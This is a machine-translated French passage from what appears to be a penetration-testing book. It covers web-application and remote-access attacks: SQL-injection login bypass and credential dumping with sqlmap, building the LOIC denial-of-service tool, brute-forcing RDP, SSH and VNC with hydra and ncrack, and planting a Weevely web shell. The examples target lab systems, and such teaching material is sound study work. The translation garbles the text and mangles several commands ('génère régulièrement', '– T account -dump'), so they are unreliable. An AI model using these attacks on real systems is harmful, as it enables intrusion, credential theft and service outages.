Reconnaissance et exploitation des applications Web [ 242 ] L'un des scanners les plus efficaces en fonction du nombre de vulnérabilités vérifiées découvert est Vega de Subgraph. Comme le montre la capture d'écran suivante, il scanne une cible et classe les vulnérabilités comme élevée, moyenne, faible ou informationnelle. Le testeur est capable de cliquer sur les résultats identifiés pour "explorer" des résultats spécifiques. Le testeur peut également modifier les modules de recherche, qui sont écrits en Java, pour se concentrer sur des vulnérabilités ou identifier de nouvelles vulnérabilités. Un autre scanner qui vaut la peine d'être utilisé est le Web Application Attack and Audit Framework. ( w3af ), un scanner de sécurité d'applications Web open source basé sur Python. Il offre analyses de vulnérabilité préconfigurées prenant en charge des normes telles que OWASP. Les
l'étendue des options du scanner a un prix : cela prend beaucoup plus de temps que d'autres scanners pour examiner une cible, et elle est sujette à l'échec sur de longues périodes de test. Une instance w3af configurée pour un audit complet d'un exemple de site Web est affichée dans le capture d'écran suivante : Page 260
Chapitre 9 [ 243 ] Kali inclut également des scanners de vulnérabilité spécifiques aux applications. Par exemple, WPScan est utilisé spécifiquement contre les applications CMS WordPress . Tester la sécurité avec des proxys côté client Contrairement aux scanners de vulnérabilité automatisés, les proxys côté client nécessitent l'interaction humaine pour être efficace. Un proxy côté client intercepte HTTP et Le trafic HTTPS, permettant à un testeur d'intrusion d'examiner les communications entre le l'utilisateur et l'application. Il permet au testeur de copier les données ou d'interagir avec les requêtes qui sont envoyés à l'application. Kali est livré avec plusieurs proxys côté client, notamment Burp Suite, OWASP ZAP, Paros, ProxyStrike, le scanner de vulnérabilités Vega et WebScarab. Après de vastes tests, nous en sommes venus à compter sur Burp Proxy, avec ZAP comme outil de sauvegarde.
Reconnaissance et exploitation des applications Web [ 244 ]
Page 261
Burp est principalement utilisé pour intercepter le trafic HTTP(S) ; cependant, il fait partie d'un plus grand suite d'outils qui a plusieurs fonctions supplémentaires, y compris : • Une araignée sensible aux applications qui explore le site • Un scanner de vulnérabilité, incluant un séquenceur pour tester le caractère aléatoire de des jetons de session et un répéteur pour manipuler et renvoyer les demandes entre le client et le site Web (le scanner de vulnérabilité n'est pas inclus avec le version gratuite du proxy Burp qui est empaqueté dans Kali) • Un outil d'intrusion qui peut être utilisé pour lancer des attaques personnalisées (il existe limitations de vitesse dans la version gratuite de l'outil inclus avec Kali ; ceux-ci sont supprimé si vous achetez la version commerciale du logiciel) • La possibilité d'éditer des plugins existants ou d'en écrire de nouveaux afin d'étendre la nombre et type d'attaques pouvant être utilisées Pour utiliser Burp, assurez-vous que votre navigateur Web est configuré pour utiliser un proxy local ; généralement, vous devrez ajuster les paramètres réseau pour spécifier que HTTP et Le trafic HTTPS doit utiliser l'hôte local (127.0.0.1) sur le port 8080. Après avoir configuré le navigateur et le proxy pour qu'ils fonctionnent ensemble, mappez manuellement le application. Ceci est accompli en désactivant l'interception proxy, puis parcourir toute l'application. Suivez chaque lien, soumettez les formulaires et connectez-vous à autant de zones du site que possible. Un contenu supplémentaire sera déduit de divers
réponses. Le plan du site remplira une zone sous l' onglet Cible (automatique l'exploration peut également être utilisée en faisant un clic droit sur le site et en sélectionnant Spider This hôte ; cependant, la technique manuelle donne au testeur la possibilité de devenir familier avec la cible, et il peut identifier les zones à éviter). Une fois la cible mappée, définissez la Cible - Portée en sélectionnant les branches dans le plan du site et à l'aide de la commande Ajouter à la portée . Une fois cette opération terminée, vous peut masquer les éléments qui ne présentent pas d'intérêt sur le plan du site à l'aide de filtres d'affichage. Un plan du site créé à partir d'un site Web cible est illustré dans la capture d'écran suivante : Page 262
Chapitre 9 [ 245 ] Une fois le spidering terminé, passez en revue manuellement le répertoire et la liste des fichiers pour toutes les structures qui ne semblent pas faire partie du site Web public, ou qui apparaissent être divulgués involontairement. Par exemple, les répertoires intitulés admin, backup, la documentation ou les notes doivent être examinées manuellement. Le test manuel de la page de connexion à l'aide d'un guillemet simple comme entrée a produit une erreur code suggérant qu'il peut être vulnérable à une attaque par injection SQL ; un exemple de retour du code d'erreur est affiché dans la capture d'écran suivante :
Reconnaissance et exploitation des applications Web
Page 263
[ 246 ] La vraie force d'un proxy est sa capacité à intercepter et modifier des commandes. Pour ça exemple particulier, nous utiliserons le site Mutillidae, un site "cassé" qui est installé dans le cadre du framework de test Metasploitable pour effectuer une attaque pour contourner SQL authentification par injection. Pour lancer cette attaque, assurez-vous que le proxy Burp est configuré pour intercepter communications en accédant à l' onglet Proxy et en sélectionnant le sous-onglet Interception . Cliquez sur le bouton Intercept is on , comme indiqué dans la capture d'écran suivante. Quand ce est terminée, ouvrez une fenêtre de navigateur et accédez à la page de connexion Mutillidae en en entrant /mutillidae/index.php?page=login.php . Saisir des variables dans les champs nom et mot de passe, puis cliquez sur le bouton de connexion. Si vous revenez au proxy Burp, vous verrez que les informations que l'utilisateur entré dans le formulaire sur la page Web a été intercepté. Page 264
Chapitre 9 [ 247 ] Cliquez sur le bouton Action et sélectionnez l'option Envoyer à l'intrus . Ouvrez le principal l' onglet Intrus , et vous verrez quatre sous-onglets : Cible , Positions , Charges utiles et Options , comme illustré dans la capture d'écran suivante. Si vous sélectionnez Postes , vous voir que cinq positions de charge utile ont été identifiées à partir des informations interceptées.
Cette attaque utilisera le mode sniper du proxy Burp, qui prend une seule entrée à partir d'une liste fournie par le testeur et envoie cette entrée à une seule position de charge utile à la fois. Pour cet exemple, nous allons cibler le champ du nom d'utilisateur, que nous soupçonnons est vulnérable en fonction du message d'erreur renvoyé. Page 265
Reconnaissance et exploitation des applications Web [ 248 ] Pour définir la position de la charge utile, nous sélectionnons le sous-onglet Charges utiles . Pour lancer l'attaque, sélectionnez Intruder dans le menu du haut, puis sélectionnez Démarrer Attaque . Le proxy itérera la liste de mots par rapport aux positions de charge utile sélectionnées en tant que requêtes HTTP légitimes, et il renverra les codes d'état du serveur. Comme tu peux voir dans la capture d'écran suivante, la plupart des options produisent un code d'état de 200 (demande réussi); cependant, certaines des données renvoient un code d'état de 302 (requête trouvée ; indique que la ressource demandée est actuellement située sous un URI différent).
Page 266
Chapitre 9 [ 249 ] L' état 302 indique des attaques réussies, et les données obtenues peuvent être utilisées pour connectez-vous avec succès au site cible. Malheureusement, il s'agit d'un aperçu trop bref du proxy Burp et de ses capacités.
La version gratuite incluse avec Kali suffira pour de nombreuses tâches de test ; cependant, les testeurs sérieux (et les attaquants) devraient envisager d'acheter la version commerciale. Page 267
Reconnaissance et exploitation des applications Web [ 250 ] Exploits de serveur Comme ils ont une "surface d'attaque" étendue (canaux de communication, logiciels clients, systèmes d'exploitation de serveur, applications, middleware et bases de données principales), web les services sont vulnérables à plusieurs types d'attaques. L'éventail des attaques possibles serait exiger leur propre livre; par conséquent, nous ne montrerons que quelques types pour mettre en évidence les capacités de Kali. Pour cet exemple, nous montrerons comment Kali peut être utilisé pour lancer un attaque par déni de service ( DoS ) contre un serveur réseau. En général, attaquer le système d'exploitation d'un système hôte qui fournit le Web les services suivent la méthodologie décrite précédemment ; cependant, leur architecture est particulièrement vulnérable aux attaques DoS. Kali comprend plusieurs outils qui sont décrits comme des applications de test de résistance car ils simulent des charges d'activité élevées sur un serveur afin d'évaluer dans quelle mesure il supportera le stress supplémentaire. Si le serveur ou ses applications échouent, il a subi un DoS. De nombreux outils reposent sur l'incapacité d'un système IPv4 à gérer le nouveau IPv6
protocole (denail6, dos-new-ip6, flood_advertise6, etc.). Cependant, l'outil d'attaque DoS le plus efficace - Low Orbit Ion Cannon ( LOIC )—doit être ajouté manuellement à Kali en suivant les étapes suivantes : 1. À l'aide de la commande apt-get install , installez les packages suivants et leurs dépendances : mono-gmcs , mono-mcs , monodevelop et liblog4netcil-dev . 2. Téléchargez le LOIC depuis GitHub ( https://github.com/NewEraCracker/ LOIC/téléchargements ) dans un dossier séparé. Extrayez les fichiers compressés dans le dossier à l'aide de la commande unzip. 3. Naviguez jusqu'au dossier et compilez l'application à l'aide du commande suivante : construction de mdtool 4. La version compilée de l'application sera dans le / bin/Debug/ Répertoire LOIC.exe . Page 268
Chapitre 9 [ 251 ] Une fois les paramètres d'attaque renseignés, LOIC peut être lancé contre le site cible. L'attaque est lancée à l'aide de l'interface graphique intuitive, comme indiqué dans la capture d'écran suivante : Attaques spécifiques aux applications Les attaques spécifiques aux applications sont plus nombreuses que les attaques contre des opérations spécifiques
systèmes; lorsque l'on considère les erreurs de configuration, les vulnérabilités et les erreurs logiques pouvant affecter chaque candidature en ligne, il est surprenant que toute candidature puisse être considéré comme « sécurisé ». Nous soulignerons certaines des attaques les plus importantes contre services Web. Identifiants d'accès par force brute L'une des attaques initiales les plus courantes contre un site Web ou ses services est un attaque par force brute contre l'authentification d'accès deviner le nom d'utilisateur et mot de passe. Cette attaque a un taux de réussite élevé car les utilisateurs ont tendance à sélectionner informations d'identification faciles à mémoriser ou à réutiliser, et aussi parce que le système les administrateurs ne contrôlent souvent pas les tentatives d'accès multiples. Page 269
Reconnaissance et exploitation des applications Web [ 252 ] Kali est livré avec hydra, un outil en ligne de commande, et hydra-gtk, qui possède une interface graphique interface. Les deux outils permettent à un testeur de forcer ou d'itérer les noms d'utilisateur possibles et des mots de passe pour un service spécifié. Plusieurs protocoles de communication sont pris en charge, y compris FTP, FTPS, HTTP, HTTPS, ICQ, IRC, LDAP, MySQL, Oracle, POP3, pcAnywhere, SNMP, SSH, VNC et autres. La capture d'écran suivante montre hydra utilise une attaque par force brute pour déterminer les identifiants d'accès sur une page HTTP : Attaques par injection contre des bases de données
La vulnérabilité la plus courante et exploitable dans les sites Web est l'injection vulnérabilité, qui se produit lorsque le site victime ne surveille pas l'entrée de l'utilisateur, permettant ainsi à l'attaquant d'interagir avec les systèmes backend. Un attaquant peut fabriquer les données d'entrée pour modifier ou voler le contenu d'une base de données, placer un exécutable sur le serveur ou émettez des commandes au système d'exploitation. L'un des outils les plus utiles pour évaluer les vulnérabilités d'injection SQL est sqlmap , un outil Python qui automatise la reconnaissance et l'exploitation de Firebird, Bases de données Microsoft SQL, MySQL, Oracle, PostgreSQL, Sybase et SAP MaxDB. Nous allons démontrer une attaque par injection SQL contre la base de données Mutillidae. La première L'étape consiste à déterminer le serveur Web, le système de gestion de base de données principal et les bases de données disponibles. Lancez une machine virtuelle Metasploitable et accédez au site Mutillidae. Lorsque ceci est terminé, passez en revue les pages Web pour en identifier une qui accepte les entrées de l'utilisateur (par exemple, le formulaire de connexion utilisateur qui accepte le nom d'utilisateur et le mot de passe d'un utilisateur); ces pages peuvent être vulnérables à l'injection SQL. Ensuite, ouvrez Kali, et à partir d'un invite de commande, entrez ce qui suit (en utilisant l'adresse IP cible appropriée) :
Chapitre 9 [ 253 ]
Page 270
root@kali:~# sqlmap -u 'http://192.168.75.129/mutillidae/index.php?page=userinfo.php&username=admin&password=&user-info-phpsubmitbutton=Afficher+Compte+Détails' --dbs Sqlmap renverra des données, comme indiqué dans la capture d'écran suivante : La base de données la plus susceptible de stocker les données de l'application est la base de données owasp10 ; par conséquent, nous vérifierons toutes les tables de cette base de données à l'aide de la commande suivante : root@kali:~# sqlmap -u 'http://192.168.75.129/mutillidae/index.php?page=userinfo.php&username=admin&password=&user-info-phpsubmitbutton=Afficher+Compte+Détails' –D owasp10 --tables Les données renvoyées lors de l'exécution de cette commande sont illustrées dans la capture d'écran suivante : Page 271
Reconnaissance et exploitation des applications Web [ 254 ] Sur les six tableaux qui ont été énumérés, l'un était intitulé comptes . Nous tenterons de vider les données de cette partie de la table. En cas de succès, les informations d'identification du compte seront nous permettent de revenir à la base de données si d'autres attaques par injection SQL échouent. Pour jeter le identifiants, utilisez la commande suivante : root@kali:~# sqlmap -u 'http://192.168.75.129/mutillidae/index.php?page=userinfo.php&username=admin&password=&user-info-phpsubmitbutton=View+Account+Details' –D owasp10 – T account -dump
Des attaques similaires peuvent être utilisées contre la base de données pour extraire des numéros de carte de crédit. Maintien de l'accès avec des portes dérobées Web Une fois qu'un serveur Web et ses services ont été compromis, il est important de s'assurer que l'accès sécurisé peut être maintenu. Ceci est généralement accompli à l'aide d'un web shell—un petit programme qui fournit un accès furtif par une porte dérobée et permet l'utilisation de commandes système pour faciliter les activités de postexploitation. Kali est livré avec plusieurs coques Web ; ici, nous utiliserons un shell Web PHP populaire appelé Weevely . Weevely simule une session Telnet et permet au testeur ou à l'attaquant d'en profiter de plus de 30 modules pour les tâches de post-exploitation, dont les suivants : • Parcourir le système de fichiers cible • Transfert de fichiers vers et depuis le système compromis • Réalisation d'audits pour les erreurs de configuration de serveur courantes Page 272
Chapitre 9 [ 255 ] • Forçage brutal des comptes SQL via le système cible • Génération de shells TCP inversés • Exécuter des commandes sur des systèmes distants qui ont été compromis, même si des restrictions de sécurité PHP ont été appliquées Enfin, Weevely s'efforce de masquer les communications dans les cookies HTTP pour éviter d'être repéré. Pour créer Weevely, exécutez la commande suivante à partir du
invite de commande : root@kali:~# génère régulièrement Cela créera le fichier weevely.php dans le répertoire racine. Exécuter des commandes sur systèmes distants qui ont été compromis, même si les restrictions de sécurité PHP ont été appliqué : Utiliser une vulnérabilité de téléchargement de fichier ou tout autre compromis, y compris ceux qui donner accès aux fonctions de téléchargement du fichier meterpreter, télécharger weevely.php sur le site Web compromis. Pour communiquer avec le shell Web, exécutez la commande suivante à partir du invite de commande, en s'assurant que l'adresse IP cible, le répertoire et le mot de passe les variables sont modifiées pour refléter celles du système compromis : root@kali:~# weevely http://
Page 273
Reconnaissance et exploitation des applications Web [ 256 ] Dans l'exemple illustré dans la capture d'écran suivante, nous avons vérifié que nous sommes connecté au shell Web à l'aide de la commande whoami (qui identifie le bon répertoire) et la commande ls afin d'obtenir une liste de fichiers (qui confirme à nouveau le source de la connexion comme weevely.php ). La commande cat /etc/password était utilisé pour afficher les mots de passe. Le shell Web peut également être utilisé pour établir une connexion shell inversée vers le
testeur, en utilisant Netcat ou Metasploit Framework comme écouteur local. Sommaire Dans ce chapitre, nous avons examiné les sites Web et les services qu'ils fournissent aux utilisateurs autorisés du point de vue d'un attaquant. Nous avons appliqué la kill chain perspective des services Web afin de comprendre la bonne application de reconnaissance et analyse des vulnérabilités. Plusieurs scanners de vulnérabilités différents ont été présentés ; nous nous sommes concentrés sur la fabrication et en utilisant des modifications apportées aux scanners existants pour soutenir l'évaluation des sites Web et les services Web, l'utilisation de scanners de vulnérabilité basés sur un navigateur et la vulnérabilité des scanners spécialement conçus pour évaluer les sites Web et leurs services. Seuls quelques exploits sélectionnés ont été examinés, et nous avons terminé le chapitre avec un examen d'un shell Web spécifique aux services Web. Dans le prochain chapitre, nous apprendrons comment identifier et attaquer les accès distants communications qui connectent les utilisateurs aux services Web. Page 274
Exploiter l'accès à distance Communication Au chapitre 9 , Reconnaissance et exploitation des applications Web , nous avons appliqué les méthodologie de la chaîne de destruction contre les applications Web. Nous avons revu la reconnaissance, analyse des vulnérabilités et méthodologies d'exploitation propres aux sites Web
et d'autres applications. Nous avons également examiné les outils uniques requis pour évaluer les applications Web, en particulier les proxys côté client et la post-exploitation des outils tels que les shells Web. Dans ce chapitre, nous nous concentrerons sur la compromission des communications d'accès à distance pour les appareils et les applications qui ont proliféré sur Internet. Les attaquants profitent de l'omniprésence de ces accès à distance communication pour atteindre les objectifs suivants : • Exploiter les canaux de communication préexistants pour accéder directement à distance à systèmes cibles • Interception des communications • Refuser aux utilisateurs authentifiés l'accès aux communications régulières et les forcer d'utiliser des canaux non sécurisés qui pourraient être vulnérables à d'autres attaques Étant donné que la plupart des utilisateurs ont le sentiment d'utiliser des outils de communication « sécurisés » (même les banques s'appuient sur les protocoles SSL pour sécuriser les opérations bancaires en ligne), ces attaques peuvent avoir un impact significatif à la fois sur la communication qui est compromise comme ainsi que la confiance de la victime dans d'autres communications en ligne. Ce chapitre se concentrera sur les phases de reconnaissance et d'exploitation de la kill chain en ce qui concerne les communications d'accès à distance. Il ne couvrira pas des sujets tels que numérotation de guerre, voix sur IP et problèmes de téléphonie connexes, systèmes hautement propriétaires
comme les kiosques spécialisés et les applications complexes qui méritent leur propre livre. Page 275
Exploiter les communications d'accès à distance [ 258 ] À la fin de ce chapitre, vous aurez appris ce qui suit : • Exploitation des protocoles de communication du système d'exploitation (RDP et SSH) • Exploitation d'applications d'accès à distance (VNC) • Configuration de Kali pour l'analyse Secure Sockets Layerv2 • Reconnaissance et exploitation de Secure Sockets Layer, y compris attaques de type man-in-the-middle et déni de service • Attaquer un réseau privé virtuel Exploiter le système d'exploitation protocoles de communication Certains protocoles transmettent les identifiants d'accès en clair (Telnet et FTP). Utiliser un paquet un renifleur tel que Wireshark permettra à un attaquant d'intercepter et de réutiliser les informations d'identification. Cependant, la plupart des protocoles d'accès à distance, en particulier ceux intégrés dans le système d'exploitation, sont désormais protégés par des contrôles d'accès et un cryptage. Bien que cela ajoute un certain degré de sécurité, ils sont toujours sujets à des attaques qui peuvent se produire en raison de mauvaises configurations ou de l'utilisation de mauvaises clés de cryptage. Dans cette section, nous examinerons d'autres risques pouvant être exploités pour compromettre soi-disant sécurisés canaux de communication. Compromettre le protocole de bureau à distance Remote Desktop Protocol ( RDP ) est un protocole de communication propriétaire de Microsoft
qui permet à un client de se connecter à un autre ordinateur à l'aide d'une interface graphique. Bien que le protocole soit crypté, l'accès au serveur peut être obtenu si l'attaquant devine le nom d'utilisateur et le mot de passe. Il convient de noter que le compromis le plus courant de RDP est en utilisant l'ingénierie sociale. L'utilisateur est contacté par un service distant technicien qui convainc l'utilisateur qu'il a besoin d'un accès à distance à réparer quelque chose sur le système de l'utilisateur. Les attaques de logiciels malveillants qui ciblent le Les protocoles RDP sont également de plus en plus courants. Page 276
Chapitre 10 [ 259 ] Du point de vue d'un testeur (ou d'un attaquant), la première étape pour compromettre le RDP d'une cible service est de localiser le serveur RDP et de caractériser la force de la cryptographie qui est en cours d'utilisation. Cette reconnaissance est normalement effectuée à l'aide d'un outil tel que nmap , configuré pour rechercher le port RDP standard 3389. L' outil nmap inclut désormais des scripts spécialisés qui fournissent des détails supplémentaires sur RDP, y compris la configuration du cryptage. Si le temps le permet, et si la furtivité est pas un problème, ils doivent être utilisés lors de la phase de numérisation initiale. La ligne de commande pour appeler le script qui énumère les protocoles de chiffrement pris en charge, procédez comme suit : root@kali:~# nmap – p 3389 –-script rdp-enum-encryption
L'exécution de la commande précédente est illustrée dans la capture d'écran suivante : Certaines vulnérabilités RDP ont été identifiées (notamment MS12-020), et celles-ci peuvent être exploité à distance à l'aide de paquets spécialement construits. Pour déterminer si la version actuelle de RDP est vulnérable, utilisez le nmap en appelant la ligne de commande suivante : root@kali:~# nmap –sV -p 3389 --script rdp-vuln-ms12-020
Page 277
Exploiter les communications d'accès à distance [ 260 ] L'exécution de la commande précédente est illustrée dans la capture d'écran suivante : Une fois qu'un système vulnérable a été identifié à l'aide de nmap , il peut être exploité en utilisant l' auxiliaire/dos/windows/rdp/ms12_020_ de Metasploit Framework module maxchannelids pour provoquer un déni de service. La méthode la plus courante pour compromettre RDP consiste à utiliser une attaque par force brute basée sur sur un dictionnaire des noms d'utilisateur et mots de passe les plus courants (spécifiques à la cible les dictionnaires peuvent également être construits pour être spécifiques à une cible à l'aide d'outils tels que CeWL et croquer ; les tentatives de force brute utilisant ces dictionnaires sont plus rapides que les tentatives utilisant dictionnaires génériques, et sont plus furtifs car ils génèrent moins de trafic réseau). Kali fournit plusieurs outils d'accès par force brute, notamment hydra , medusa , ncrack ,
et patateur . Grâce à des tests, nous avons trouvé ncrack pour être le plus fiable en termes de rapidité et d'efficacité. Des listes de noms d'utilisateur et de mots de passe courants sont disponibles auprès de plusieurs sources. La plupart des outils de craquage, en particulier hydra , ncrack et john (John l'Éventreur), incluez des listes dans le répertoire personnel de l'application. Les testeurs peuvent téléchargez également des listes de divers types à partir de sources en ligne. Listes dérivées provenant de comptes d'utilisateurs compromis sont particulièrement utiles car ils reflètent l'utilisation réelle des informations d'authentification. Peu importe quelle liste vous utilisez, vous pouvez la personnaliser pour le test en ajoutant noms des employés actuels et anciens (pour les noms d'utilisateur) ou listes de mots qui ont été créés à l'aide d'outils tels que CeWL, qui explore le le site Web de target pour créer des mots d'une longueur définie. Page 278
Chapitre 10 [ 261 ] L' outil ncrack est un outil de craquage d'authentification à grande vitesse qui prend en charge le FTP, Protocoles HTTP(S), POP3, RDP, SMB, SSH, Telnet et VNC. Il est invoqué depuis le fenêtre de terminal à l'aide de la commande suivante : root@kali:~# ncrack -vv -U user.lst -P password.list : L'exécution de la commande précédente est illustrée dans la capture d'écran suivante :
L' outil ncrack a découvert les identifiants d'accès pour tous les utilisateurs dans environ 1700 secondes. Cependant, le temps nécessaire dépendra de la taille des dictionnaires utilisés et combien de suppositions doivent être faites avant d'obtenir un coup réussi. Page 279
Exploiter les communications d'accès à distance [ 262 ] Compromis Secure Shell Le protocole Secure Shell ( SSH ) est un protocole réseau utilisé pour établir un canal crypté sur un réseau ouvert entre un serveur et un client. En général, une paire de clés publique-privée permet aux utilisateurs de se connecter à un système sans avoir besoin du le mot de passe. La clé publique est présente sur tous les systèmes qui nécessitent une connexion sécurisée, tandis que l'utilisateur garde la clé privée secrète. L'authentification est basée sur le privé clé; SSH vérifie la clé privée par rapport à la clé publique. Sur les systèmes cibles, le la clé publique est vérifiée par rapport à une liste de clés autorisées qui sont autorisées à accéder au système. Ce canal de communication prétendument sécurisé échoue lorsque le la clé publique n'est pas cryptographiquement forte et peut être devinée. Comme RDP, SSH est vulnérable à une attaque par force brute qui devine l'accès de l'utilisateur crédits. Pour cet exemple particulier, nous utiliserons un outil appelé hydra . L' hydre est probablement le plus ancien outil de force brute et est certainement le plus riche en fonctionnalités
outil. Il prend également en charge les attaques contre le plus grand nombre de protocoles cibles. L' outil hydra peut être trouvé en accédant à Kali Linux | Attaques par mot de passe | Attaques en ligne , et il peut également être invoqué directement à partir de la ligne de commande. Là existe deux versions d' hydra : la version en ligne de commande ( hydra ) et la version GUI (hydre-gtk). Pour cet exemple, nous appellerons hydra à partir de la ligne de commande en utilisant la commande suivante : root@kali:~# hydra -s 22 -v -V -L -P -t 8 Les paramètres de la commande sont décrits dans la liste suivante : • -s désigne le port à utiliser. Bien qu'il n'ait pas besoin d'être saisi lorsque le port par défaut est destiné à être utilisé, il est utilisé pour supprimer les ambiguïtés et parce qu'il accélère les tests, dans ce cas. • -v et -V sélectionnent la verbosité maximale des rapports. • -L sélectionne le nom d'utilisateur ou le fichier de nom d'utilisateur. • -P sélectionne le fichier de mot de passe. • -t sélectionne le nombre de tâches ou de connexions parallèles. Plus le nombre, plus le test sera rapide. Cependant, si le nombre est trop élevé, des erreurs peuvent être introduites et des mots de passe corrects seront manqués.
Chapitre 10 [ 263 ]
Page 280
La capture d'écran suivante présente la sortie détaillée du premier attaque de force brute: Lorsqu'une connexion réussie est établie à l'aide du dictionnaire, hydra signale le port, le protocole, l'hôte et les identifiants de connexion. Il continue ensuite à utiliser les dictionnaires pour identifier les autres comptes possibles. Dans la ligne la plus haute de la capture d'écran suivante, Hydra a correctement identifié un compte SSH avec DigitalDefence comme identifiant et darkstar comme mot de passe ; la capture d'écran montre également les autres tentatives effectuées par Hydra alors qu'il tente d'identifier des comptes supplémentaires. Si vous connaissez la configuration du mot de passe, vous pouvez également utiliser hydra pour créer automatiquement le liste de mots de passe à la volée, à l'aide de la commande suivante : root@kali:~# hydra –L user.lst –V –x 6:8:aA1 SSH Page 281
Exploiter les communications d'accès à distance [ 264 ] Les paramètres utilisés dans la commande précédente sont décrits dans la liste suivante : • -x demande à Hydra de créer automatiquement les mots de passe utilisés dans le attaque de force brute. Les mots de passe seront créés selon les paramètres qui suivent -x . • 6:8 indique une longueur de mot de passe minimale de six caractères et une longueur maximale longueur du mot de passe de huit caractères.
• aA1 créera automatiquement les mots de passe en utilisant une combinaison de lettres et chiffres. Il utilisera toutes les lettres minuscules (indiquées par un ) et tous lettres majuscules (notées A ), et les chiffres 0 à 9 (notés 1 ). Vous pouvez également ajouter des caractères spéciaux à la liste générée, cependant, vous devez ajouter guillemets simples autour de l' option –x , comme indiqué dans la commande suivante : root@kali:~# -L user.lst –V –x '6:8:aA1 !@#$' SSH Exploiter l'accès à distance de tiers applications Les applications qui contournent les protocoles système pour fournir un accès à distance étaient assez populaire à la fois. Bien qu'ils soient actuellement remplacés par des services en ligne comme GoToMyPC ou LogMeIn , ils restent assez courants. Des exemples de tels les programmes incluent pcAnywhere et VNC. Il est à noter que des instances de ces outils peuvent être présentes sur le réseau en raison de les actions légitimes d'un administrateur système. Cependant, ils peuvent également être présents parce que le réseau a été compromis et que l'attaquant voulait un moyen de accéder à distance au réseau. Dans l'exemple suivant, nous allons compromettre VNC en utilisant la fonctionnalité intégrée de le cadre Metasploit. 1. Localisez le logiciel d'accès à distance sur la cible à l'aide de nmap . Comme le montre le capture d'écran suivante, VNC se trouve généralement sur le port TCP 5900 . Page 282
Chapitre 10 [ 265 ] 2. Activez Metasploit Framework à l'aide de la commande msfconsole depuis une fenêtre de terminal. À partir de l' invite msf , configurez-le pour compromettre VNC, comme le montre la capture d'écran suivante : 3. Lancez la commande run , comme illustré dans la capture d'écran suivante, et regardez pour une course réussie : 4. Enfin, une fois que Metasploit a déterminé les identifiants, validez-les en connexion au client VNC à l'aide de vncviewer . Depuis l'invite de commande dans une fenêtre de terminal, saisissez ce qui suit : root@kali:~# vncviewer Page 283
Exploiter les communications d'accès à distance [ 266 ] Cela se connectera à l'hôte distant et vous invitera à entrer le crédits. Lorsque l'authentification est réussie, une nouvelle fenêtre sera ouvert, vous donnant un accès à distance au système cible. Vérifiez que vous êtes sur le système cible en émettant la requête whoami , comme indiqué ci-dessous capture d'écran et demandez l'ID ou l'adresse IP du système : Attaquer la couche de sockets sécurisés Secure Sockets Layer ( SSL ) et son successeur, Transport Layer Security ( TLS ), sont des protocoles cryptographiques utilisés pour fournir des communications sécurisées à travers le L'Internet. Ces protocoles ont été largement utilisés dans des applications sécurisées telles que
Messagerie Internet et courrier électronique, navigation Web et voix sur IP. Page 284
Chapitre 10 [ 267 ] Ces protocoles sont omniprésents sur Internet, cependant, ils ont pour origine le milieu des années 90 et sont de plus en plus attaqués à mesure qu'ils vieillissent. SSL version 2.0 (La version 1.0 n'a jamais été publiée) contient un nombre important de défauts qui peut être exploité, comme un mauvais contrôle des touches et une faiblesse pour l'homme du milieu attaques. Bien que la plupart des utilisateurs aient implémenté la version 3.0 de ce protocole ou versions plus récentes de TLS, des systèmes mal configurés peuvent toujours permettre l'utilisation du version non sécurisée antérieure. Configuration de Kali pour l'analyse SSLv2 Avant de commencer la phase de reconnaissance, vérifiez que Kali a été configuré pour rechercher les protocoles SSL version 2. Au moment de la rédaction de ce livre, ce n'était pas l'affaire. Depuis une fenêtre de terminal, saisissez la commande suivante : root@kali:~# openssl_s_client -connect www.opensecurityresearch.com:443 -ssl2 Si cela renvoie une erreur d' option inconnue -ssl2 (illustrée dans la capture d'écran suivante), une configuration supplémentaire sera alors requise. Pour appliquer le correctif, vous devez re-patcher l'application OpenSSL à l'aide des éléments suivants
étapes (assurez-vous que le chemin utilisé reflète le répertoire de téléchargement utilisé) : 1. Installez quilt , un programme utilisé pour gérer plusieurs correctifs pour une application code source, à l'aide de la commande suivante : root@kali:~# apt-get install devscripts courtepointe 2. Téléchargez le code source openssl , vérifiez les correctifs qui ont été appliqués, mettre à jour les fichiers de configuration, puis reconstruire l'application. Utilisez le commandes suivantes : root@kali:~# apt-get source openssl root@kali:~# cd openssl-1.0.1e root@kali:~/openssl-1.0.1e# quilt pop -a Page 285
Exploiter les communications d'accès à distance [ 268 ] 3. Modifiez le fichier / openssl-1.0.1e/debian/patches/series et supprimez le ligne suivante du fichier : ssltest_no_sslv2.patch 4. Modifiez le fichier / openssl-1.0.1e/debian/rules et supprimez le no-ssl2 argument. Ensuite, réappliquez les correctifs à openssl . Utilisez les commandes suivantes : root@kali:~/openssl-1.0.1e# quilt push -a root@kali:~/openssl-1.0.1e# dch -n 'Autoriser SSLv2' 5. Une fois cette opération terminée, reconstruisez le package openssl , puis réinstallez-le. Cette étape peut être effectuée avec les commandes suivantes : root@kali:~/openssl-1.0.1e# dpkg-source --commit root@kali:~/openssl-1.0.1e# debuild -uc -us root@kali:~/openssl-1.0.1e# cd /root root@kali:~# dpkg -i *ssl*.deb
6. Confirmez que les correctifs ont été appliqués avec succès en rééditant le commande pour se connecter à l'aide de SSLv2, comme illustré dans la capture d'écran suivante : Les scripts Kali qui reposent sur openssl , en particulier sslscan , devront être recompilés. Pour recompiler, téléchargez d'abord la source, puis reconstruisez-la. Lorsque cela est terminé, réinstallez-le à l'aide des commandes suivantes : root@kali:~# apt-get source sslscan root@kali:~# cd sslscan-1.8.2 root@kali:~/sslscan-1.8.2# debuild -uc -us root@kali:~/sslscan-1.8.2# cd /root rootl@kali:~# dpkg -i *sslscan*.deb Page 286
Chapitre 10 [ 269 ] Le problème de Kali avec SSLv2 peut être résolu dans une future version, par conséquent, vérifiez-le avant tester la connectivité SSL. Reconnaissance des connexions SSL La phase de reconnaissance de la kill chain reste importante lors de l'évaluation du SSL connectivité, en particulier lors de l'examen des éléments suivants : • Le certificat x.509 utilisé pour identifier les parties impliquées dans l'établissement du connexion SSL sécurisée • Le type de cryptage utilisé • Les informations de configuration, telles que si la renégociation automatique de Les sessions SSL sont autorisées Le certificat SSL peut fournir des informations qui peuvent être utilisées pour faciliter
